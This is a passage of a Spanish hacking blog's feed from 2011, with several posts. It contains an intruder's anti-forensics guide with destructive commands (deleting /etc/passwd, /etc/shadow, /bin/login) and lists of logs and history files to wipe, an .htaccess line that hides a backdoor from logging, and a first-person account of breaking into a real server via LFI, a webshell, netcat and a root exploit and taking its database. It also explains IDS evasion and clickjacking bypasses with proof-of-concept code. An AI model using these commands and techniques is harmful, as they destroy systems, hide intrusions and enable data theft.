un tal destrozo que el único medio sea la destrucción total o parcial. He aquí algunos comandos de interés:&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 51, 51); font-weight: bold;"&gt;rm /etc/passwd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 51, 51); font-weight: bold;"&gt;rm /etc/shadow&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 51, 51); font-weight: bold;"&gt;rm /bin/login&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 51, 51); font-weight: bold;"&gt;rm /bin/rm&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 51, 51); font-weight: bold;"&gt;rm /etc/inetd.conf&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 51, 51); font-weight: bold;"&gt;killall login&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;B) Capturando y eliminando los access log de Apache.&lt;br /&gt;B-1) Esta opción solo es viable si únicamente realizaste un ataque a nivel Web, por ejemplo, una Webshell&lt;br /&gt;&lt;br /&gt;Los directorios más comunes son:&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;apache/logs/error.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;apache/logs/access.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;apache/logs/error.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;apache/logs/access.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;apache/logs/error.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;apache/logs/access.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;etc/httpd/logs/acces_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;etc/httpd/logs/acces.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;etc/httpd/logs/error_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;etc/httpd/logs/error.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/www/logs/access_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/www/logs/access.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;usr/local/apache/logs/access_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;usr/local/apache/logs/access.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/apache/access_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/apache2/access_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/apache/access.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/apache2/access.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/access_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/access.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/www/logs/error_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/www/logs/error.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;usr/local/apache/logs/error_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;usr/local/apache/logs/error.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/apache/error_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/apache2/error_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/apache/error.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/apache2/error.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/error_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/error.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/access_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 51);"&gt;var/log/access_log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Se puede eliminar con RM, o editar, pero para asegurarse de no dejar nada mal, hacer uso de Tee.&lt;br /&gt;&lt;br /&gt;C) Eliminar el Bash History&lt;br /&gt;C-1) Si, es algo lógico, que mucha gente olvida...&lt;br /&gt;C-2) Es tan sencillo como editar y/o eliminar el .bash_history o .sh_history&lt;br /&gt;C-3) Recordar: Esto se hace JUSTO ANTES de salir.&lt;br /&gt;&lt;br /&gt;D) Eliminar todo rastro de exploits, webshells, sniffers, ...&lt;br /&gt;D-1) Como comenté, me descubrieron por dejar un Root Exploit. No saben quien fué, pero ahí supongo que seguirá.&lt;br /&gt;&lt;br /&gt;E) Tener cuidado con los cambios en el sistema&lt;br /&gt;E-1) Este paso es vital. Si hiciste un cambio y te agarran, será peor que si solo realizaste la intrusión, dependiendo del pais en el que residas.&lt;br /&gt;&lt;br /&gt;F) Cuidado con los Backdoors&lt;br /&gt;F-1) Durante un corto tiempo puede pasar inadvertido, durante más, puede ser descubierto... Más vale prevenir que curar.&lt;br /&gt;&lt;br /&gt;G) Eliminar toda cuenta realizada, sobre todo si tiene permisos de Root&lt;br /&gt;G-1) No basta con eliminar los permisos de shell (/sh/false)&lt;br /&gt;&lt;br /&gt;H) Cuidado: Si hay alguien más logeado al sistema, puede ser &lt;span style="font-weight: bold;"&gt;muy peligroso&lt;/span&gt;.&lt;br /&gt;H-1) Pueden capturarte fácilmente, además de rastrearte sin el más minimo problema.&lt;br /&gt;&lt;br /&gt;I) Desconfia de todos. El anonimato implica el silencio absoluto, discreción, y seguridad. Jamás digas "Ataqué X servidor", si hay necesidad, "Ataqué un servidor". Fuera del sistema, si eres buscado, no dudes que te espiarán.&lt;br /&gt;I-1) No existe proxy seguro, solo muy faciles, faciles, complejos, y extremadamente complejos. Pero no seguros.&lt;br /&gt;&lt;br /&gt;J) Cuidado con el syslog.&lt;br /&gt;J-1) En ocasiones puede ser más complejo de lo habitual deshacerse de cambios realizados en el.&lt;br /&gt;&lt;br /&gt;K) Comandos de interés:&lt;br /&gt;-Who: Lista usuarios activos.&lt;br /&gt;-last: Ultimo inicio de sesión de usuario.&lt;br /&gt;-ps: Procesos activos.&lt;br /&gt;-lastcom / hostory: Comandos realizados. Véase apartado C.&lt;br /&gt;&lt;br /&gt;L) Ficheros peligrosos:&lt;br /&gt;-utmp: Guarda un registro (log) de los usuarios que están utilizando  el sistema mientras estan conectados al sistema. Directorios:  /var/adm/utmp y /etc/utmp&lt;br /&gt;-wtmp: Guarda un log cada vez que un  usuario se introduce en el sistema o sale del sistema.&lt;br /&gt;-lastlog: Guarda un log del momento exacto en que un usuario entro por ultima vez.&lt;br /&gt;-acct  o pacct: Registra todos los comandos ejecutados por cada usuario  (aunque no registra los argumentos con que dichos comandos fueron  ejecutados).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Despedida:&lt;/span&gt;&lt;br /&gt;Bueno, como comenté en mi último relato, espero sea de su agrado.&lt;br /&gt;&lt;br /&gt;Se aceptan críticas, sugerencias, y amenazas de muerte.&lt;br /&gt;&lt;br /&gt;Como siempre digo: &lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;"Más vale saber que haces, que saber hacer"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Un saludo!&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-7011491153204474144?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/7011491153204474144/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=7011491153204474144' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7011491153204474144'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7011491153204474144'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/eliminacion-de-huellas.html' title='Eliminación de huellas'/><author><name>Yo-Mismo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5388259070299088701</id><published>2011-08-19T07:14:00.002+02:00</published><updated>2011-08-19T07:45:50.607+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='.Htacces'/><title type='text'>.htaccess: ocultar backdoor</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;   No es raro que cuando un atacante logra vulnerar la seguridad de nuestra web éste deje un backdoor en los archivos originales de la web para poder tener acceso de nuevo en un futuro. Lo ideal es que tras un ataque se analicen todos los archivos alojados para comprobar si han inyectado algo raro, pero eso no siempre pasa en la realidad y los backdoors quedan escondidos hasta que sean utilizados.&lt;br /&gt;&lt;br /&gt;  Leyendo un paper sobre troyanos en PHP me he encontrado con una idea bastante interesante de cómo ocultar las peticiones al archivo que está infectado (en realidad exponen varias ideas que combinan pero voy a comentar esta en concreto). Lo que proponen es la creación de un .htaccess en cuyo interior haya una directiva que indique que no se logueen las peticiones a nuestro archivo backdooreado (en el caso del paper la cosa era algo diferente, por lo que he comentado antes de que usa varios métodos). Básicamente esto podríamos hacerlo con la siguiente línea:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;SetEnvIf Request_URI "^/0verl0ad/XC3LL\.php$" dontlog&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;  SetEnvIf sirve para definir variables de entorno a partir de los parámetros de las peticiones, pudiendo usar para ello los headers incluso. En este caso el atributo con el que se define es Request_URI (la URI es la parte de la URL que viene detrás del dominio). Tanto ^ como $ son parte de regexp (expresiones regulares), denotando la primera el inicio del string y la segunda el final. Por último "dontlog" es lo que indica que no loguee. &lt;br /&gt;&lt;br /&gt;  En resumen esa directiva deshabilitaría el log de las peticiones que se realicen a la URI señalada (esa URI sería donde tendríamos el archivo backdorizado).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5388259070299088701?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5388259070299088701/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5388259070299088701' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5388259070299088701'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5388259070299088701'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/htaccess-ocultar-backdoor.html' title='.htaccess: ocultar backdoor'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-3732258513695431302</id><published>2011-08-17T01:22:00.003+02:00</published><updated>2012-01-26T22:14:03.193+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Enumeración'/><title type='text'>El fingerprinting dentro de la Seguridad Web</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;  Me he entretenido estas últimas noches en escribir este pequeño PDF. De entrada digo que no hablo de nada nuevo, símplemente es una recopilación de diferentes técnicas para que los que empiezan conozcan un poco más de este tema. Si alguien puede hacer mirrors sería de agradecer.&lt;br /&gt;&lt;br /&gt;Indice:&lt;br /&gt;1. Introducción&lt;br /&gt;2. Identificación de aplicaciones web&lt;br /&gt;2.1. Información dentro de HTML&lt;br /&gt;2.2. Códigos de estado HTTP&lt;br /&gt;2.3. Checksums&lt;br /&gt;2.4. Motores de búsquedas&lt;br /&gt;2.5. Robots.txt&lt;br /&gt;3. Identificación de Servidores Web&lt;br /&gt;3.1 Análisis de cabeceras HTTP&lt;br /&gt;3.2 HTTP Parameter Pollution / Contamination&lt;br /&gt;4. Referencias&lt;br /&gt;&lt;br /&gt;DESCARGA =&gt; &lt;a href="http://www.slideshare.net/fullscreen/JuanManuelFernndezTorres/el-fingerprinting-dentro-de-la-seguridad-web/"&gt;SlideShare&lt;/a&gt;&lt;br /&gt;MIRROR =&gt; &lt;a href="http://anyhub.net/file/1yvl-el-fingerprinting-dentro-de-la-seguridad-web.pdf]http://anyhub.net/file/1yvl-el-fingerprinting-dentro-de-la-seguridad-web.pdf"&gt;AnyHub&lt;/a&gt;&lt;br /&gt;EXPLOIT-DB =&gt; &lt;a href="http://www.exploit-db.com/download_pdf/18421"&gt;Descargar&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-3732258513695431302?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/3732258513695431302/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=3732258513695431302' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3732258513695431302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3732258513695431302'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/el-fingerprinting-dentro-de-la.html' title='El fingerprinting dentro de la Seguridad Web'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-7395398551171349085</id><published>2011-08-15T20:44:00.002+02:00</published><updated>2011-08-15T22:02:21.038+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Evadir Snort'/><title type='text'>Evadiendo Snort con Paquetes Fragmentados</title><content type='html'>Hace unos días, iDefense publico un &lt;a href="http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=701"&gt;advisory&lt;/a&gt; sobre una vulnerabilidad en el preprocesador Frag3 de &lt;a href="http://www.snort.org/"&gt;Snort&lt;/a&gt; que permitiría evadir la detección de un ataque con paquetes fragmentados.&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Definitivamente esta vulnerabilidad no tuvo el mismo impacto mediático que la &lt;a href="http://kungfoosion.blogspot.com/2008/05/int-getrandomnumber.html"&gt;catástrofe criptográfica de Debian&lt;/a&gt;,  pero que todas las redes protegidas por Snort, hayan sido susceptibles a  ataques de los que nadie se ha enterado, no es para nada poca cosa.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Parte del &lt;a href="http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=701"&gt;advisory de iDefense&lt;/a&gt; decía lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-style: italic;"&gt;"Due  to a design error vulnerability, Snort does not properly reassemble  fragmented IP packets. ... In order to exploit this vulnerability, an  attacker would have to fragment IP packets destined for a targeted host,  ensuring that the TTL difference is greater than the configured  maximum. By default, the maximum difference is 5."&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;¿ Cuál es el problema ?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Básicamente, el problema se debía a la opción &lt;span style="font-style: italic;"&gt;"ttl_limit"&lt;/span&gt;  de frag3, que por default tiene un valor de 5. Esto significa que si  llegaba un fragmento con una TTL de 40, y luego otro con una TTL de 46,  debido a la vulnerabilidad encontrada estos fragmentos no serían  controlados por la política de Snort.&lt;br /&gt;&lt;br /&gt;Al parecer esto se debió a  un error de concepto introducido en Snort 2.6 y 2.8, y que ha sido  corregido por Sourcefire en el nuevo release 2.8.1. iDefense también  propone un workaround a este problema, que consiste en llevar el &lt;span style="font-style: italic;"&gt;"ttl_limit"&lt;/span&gt; a su valor máximo de 255.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;¿ Qué es frag3 y porque controla la TTL ?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;frag3  es un preprocesador de Snort. Un preprocesador sirve para detectar  ataques que no pueden ser detectados mediante una comparación de firmas,  o para normalizar datos que luego si puedan ser detectados por  comparación de firmas. En particular, el preprocesador frag3 se encarga  de reensamblar paquetes fragmentados para poder comparar el payload con  firmas de ataques.&lt;br /&gt;&lt;br /&gt;Una de las técnicas mas usadas para evadir un  IDS es la fragmentación de paquetes, por lo que frag3 no solo reensambla  los paquetes, sino que también verifica que no se este intentando  realizar una evasión mediante paquetes fragmentados, y aquí es en donde  entra en juego el control de la TTL.&lt;br /&gt;&lt;br /&gt;frag3 posee 2 opciones para controlar la TTL, una es &lt;span style="font-style: italic;"&gt;"min_ttl"&lt;/span&gt; y la otra es &lt;span style="font-style: italic;"&gt;"ttl_limit"&lt;/span&gt;, en la cual se descubrió la reciente vulnerabilidad. Veamoslas un poco más:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;- min_ttl:&lt;/span&gt; &lt;/span&gt;Indica  el valor mínimo de TTL que debe tener un paquete para ser aceptado.  Esto es útil para detectar ataques de evasión en los que entre nuestro  IDS y el target hay un router. La idea de estos ataques es enviar un  paquete fragmentado con una TTL muy chica que al pasar por el router  expire.&lt;br /&gt;&lt;br /&gt;Por ejemplo, mandamos 3 paquetes fragmentados a un  target, el primero y el tercero poseen un payload de ataque y una TTL  alta, mientras que el segundo paquete posee un payload con datos basura y  una TTL muy chica. Cuando Snort reensamble los 3 paquetes, se mezclará  el payload de ataque con los datos basura, y ninguna comparación de  firmas detectará el ataque. Como el segundo paquete tiene una TTL muy  chica, va a expirar cuando pase por el router, y solamente llegarán al  target el primer y el tercer paquete, que efectivamente tenían el  payload de ataque.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;- ttl_limit:&lt;/span&gt; &lt;/span&gt;Como  ya dijimos, esta opción controla la diferencia máxima del valor de la  TTL que puede haber entre  paquetes fragmentados con el mismo ID de  fragmentación. Según se ha publicado, esto es un error de diseño que ya  se venía arrastrando de versiones anteriores de Snort con frag2, y que  en el futuro será descontinuado.&lt;br /&gt;&lt;br /&gt;Al parecer, esta opción fue agregada porque herramientas como &lt;a href="http://www.monkey.org/%7Edugsong/fragroute/"&gt;Fragroute&lt;/a&gt;,  para realizar ataques de evasión con paquetes fragmentados,  configuraban los campos de los paquetes con valores al azar que  raramente se veían en tráfico normal. Por ejemplo, una diferencia de TTL  de hasta 5 saltos podría llegar a ser normal ya que es posible que un  paquete haya tomado una ruta mas larga, pero según entiende Snort más de  5 saltos ya es algo más raro.&lt;br /&gt;&lt;br /&gt;Bueno, saludos a todos los  administradores de Snort que seguramente deben tener mucho trabajo,  primero corrigiendo esta vulnerabilidad, y después averiguando si en  algún momento los han hackeado sin enterarse ;-)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Fuente:&lt;/span&gt; &lt;a href="http://www.blogger.com/Kunfoosion.com"&gt;Kunfoosion.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-7395398551171349085?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/7395398551171349085/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=7395398551171349085' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7395398551171349085'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7395398551171349085'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/evadiendo-snort-con-paquetes.html' title='Evadiendo Snort con Paquetes Fragmentados'/><author><name>Yo-Mismo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5740535248414131021</id><published>2011-08-15T18:45:00.003+02:00</published><updated>2011-08-15T19:14:07.532+02:00</updated><title type='text'>Relato de una intrusión</title><content type='html'>Hace unos dias, mientras navegaba aburrido por la Web, encontre una pagina con una vulnerabilidad LFI.&lt;br /&gt;&lt;br /&gt;El sitio, por privacidad, lo llamaremos www.site.com.&lt;br /&gt;&lt;br /&gt;Observe que la dirección del archivo a incluir lo pasaba mediante GET por la variable "site.com/index.phpPage=", a la cual se agregaba la extensión ".PHP" por seguridad...&lt;br /&gt;&lt;br /&gt;Estuve un rato pensando como evadirlo, y llegue a una conclusión: Tratar con el Null Byte.&lt;br /&gt;&lt;br /&gt;Básicamente, para explotarlo, o que hice fue utilizar un archivo inexistente, observar la ruta donde estaba el directorio htdocs, (/var/www/htdocs), para después buscar algún fichero que vulnerar.&lt;br /&gt;&lt;br /&gt;En un primer intento, trate de enviarle la ruta: ../../../etc/passwd%00, el cual funciono exitosamente, y buscando, concluí que existía el fichero /proc/self/environ, el cual mostraba mi User-Agent. Cabe aclarar que este permitia la inclusión de PHP modificando via Live HTTP Headers.&lt;br /&gt;&lt;br /&gt;Con todo esto, conseguí crear una webshell en el servidor, lo que me facilito los datos de la base de datos, y una copia de la web.&lt;br /&gt;&lt;br /&gt;Se trataba de un kernel 2.6.30, así que decidí dejar mi netcat escuchando en modo recursivo, y cree la conexión con el Host.&lt;br /&gt;&lt;br /&gt;Posteriormente, vía wget descargue un Root Exploit que encontré por la red, lo cual me permitió permisos de Root en dicho servidor.&lt;br /&gt;&lt;br /&gt;Resulta que, en dicho servidor, habían mas de 50 usuarios, con varios dominios cada uno...&lt;br /&gt;Lejos de hacer un deface masivo, lo cual nunca fue, ni sera, mi objetivo, decidí limpiar mis huellas y salir de ahí, con una clara conclusión:&lt;br /&gt;&lt;br /&gt;Un solo fallo, lo pueden pagar muchos.&lt;br /&gt;&lt;br /&gt;Mi único trofeo fue la copia de la Web, y de la base de datos.&lt;br /&gt;&lt;br /&gt;Un saludo, y espero sea de su agrado mi primera publicación en este Blog.&lt;br /&gt;&lt;br /&gt;Att: Yo-Mismo&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5740535248414131021?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5740535248414131021/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5740535248414131021' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5740535248414131021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5740535248414131021'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/relato-de-una-intrusion.html' title='Relato de una intrusión'/><author><name>Yo-Mismo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-873543078945906007</id><published>2011-08-10T21:57:00.003+02:00</published><updated>2011-08-10T22:55:44.984+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='Clickjacking'/><category scheme='http://www.blogger.com/atom/ns#' term='HTML5'/><title type='text'>HTML5 [III]: Rompiendo medidas anti-Clickjacking</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;  Continuamos hablando de HTML5 y sus implicaciones futuras en la seguridad, como ya hicimos anteriormente. En esta ocasión vamos a comentar la posibilidad de bypassear una de las medidas más comunes para evitar el clickjacking, utilizando para ello las innovaciones que se están implantando con HTML5.&lt;br /&gt;&lt;br /&gt;   La medida contra Clickjacking más común que adoptan las páginas webs es el Frame Busting, consistente en comprobar el atributo location, y si este es diferente al que debiera ser se manda la navegación a la página correcta. Normalmente se suele establecer este control usando un script sencillo en JS:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&gt;&lt;br /&gt;    if (top.location != location) top.location = self.location;&lt;br /&gt; &amp;lt;/script&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Entre los nuevos atributos introducidos con HTML5 se encuentra "sandbox", el cual permite añadir restricciones extra al contenido de un iframe. De esta forma se puede bloquear la ejecución de JavaScript, de formularios, etc. al cargar dentro del sandbox el iframe. Como exponen en &lt;a href="http://lists.w3.org/Archives/Public/public-html-bugzilla/2011Aug/0272.html"&gt;este advisory&lt;/a&gt; la propia naturaleza del atributo sandbox deshabilita la protección contra ClickJacking, puesto que impide la ejecución del código JS que lleva a cabo tal acción.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Otra posible forma de evitar esta protección es usando el evento OnBeforeUnload &lt;a href="http://0verl0ad.blogspot.com/2011/08/html5-y-el-bypassing-de-filtros-xss-ii.html"&gt;(evento del cual ya hablamos en el anterior post)&lt;/a&gt; . Podemos usar este evento para que devuelva algún mensaje, provocando que el usuario lo cancele y permita visualizar el iframe dirigido a la víctima. Un posible PoC (extraído de JavaScrip.info) sería:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;script&gt;&lt;br /&gt;window.onbeforeunload = function() {&lt;br /&gt;  window.onbeforeunload = null&lt;br /&gt;  return "Maybe you want to leave the page, before you become rich?!?"&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;iframe src="http://victima.com"&gt;&amp;lt;/iframe&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Para ampliar más sobre el tema del bypass de los frame busters hay una publicación muy interesante que recomiendo:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://seclab.stanford.edu/websec/framebusting/framebust.pdf"&gt;Busting frame busting&lt;/a&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-873543078945906007?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/873543078945906007/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' 